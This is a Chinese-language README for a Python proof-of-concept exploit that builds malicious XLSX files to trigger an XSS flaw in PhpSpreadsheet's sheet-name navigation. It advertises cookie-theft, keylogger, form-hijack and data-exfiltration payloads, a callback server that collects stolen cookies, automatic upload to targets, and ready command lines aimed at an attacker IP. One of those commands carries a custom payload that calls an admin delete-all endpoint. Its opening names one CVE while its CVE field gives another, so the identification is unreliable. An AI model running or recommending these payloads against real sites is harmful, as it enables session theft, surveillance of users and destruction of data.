这是针对 CVE-2025-22131 的 PoC,该漏洞是 PhpSpreadsheet 2.2.2、2.1.2 和 1.29.4 之前版本中的一个跨站脚本 (XSS) 漏洞。漏洞存在于 generateNavigation() 函数中,该函数在 XLSX 到 HTML 转换过程中未能对工作表名称进行清理,从而允许注入恶意 JavaScript。
CVE ID: CVE-2024-47875
GitHub Advisory: GHSA-79xx-vf93-p7cx
Affected Versions: PhpSpreadsheet < 2.2.2, < 2.1.2, < 1.29.4
作者: Roj
许可证: MIT
仓库: PoC 仓库
📄 生成带有可自定义 XSS 载荷的恶意 XLSX 文件
🛠️ 支持多种载荷类型: cookie_theft: 窃取会话 Cookie redirect: 将用户重定向到攻击者控制的网站 alert: 显示 PoC 的测试弹窗 keylogger: 记录键盘输入 form_hijack: 拦截表单提交 data_exfil: 从指定端点窃取数据
🌐 内置 HTTP 服务器,用于捕获利用回调
⬆️ 将恶意 XLSX 文件上传到目标端点
💾 将捕获的数据(例如 Cookie)保存到 JSON 文件
🎨 彩色终端输出,增强可读性
🔍 详细日志记录,便于调试
python exploit.py -h
🚀 使用示例:
#Basic cookie theft attack
python3 exploit.py http://target.htb 10.10.16.50
# Custom upload endpoint
python3 exploit.py http://app.htb 10.10.16.50 -e /api/file-upload
# Different payload types
python3 exploit.py http://target.com 10.10.16.50 -p keylogger
python3 exploit.py http://target.com 10.10.16.50 -p redirect
python3 exploit.py http://target.com 10.10.16.50 -p form_hijack
# Custom XSS payload
python3 exploit.py http://target.com 10.10.16.50 --custom "<script>fetch('/admin/delete-all')</script>"
我希望获得反馈,祝大家好运。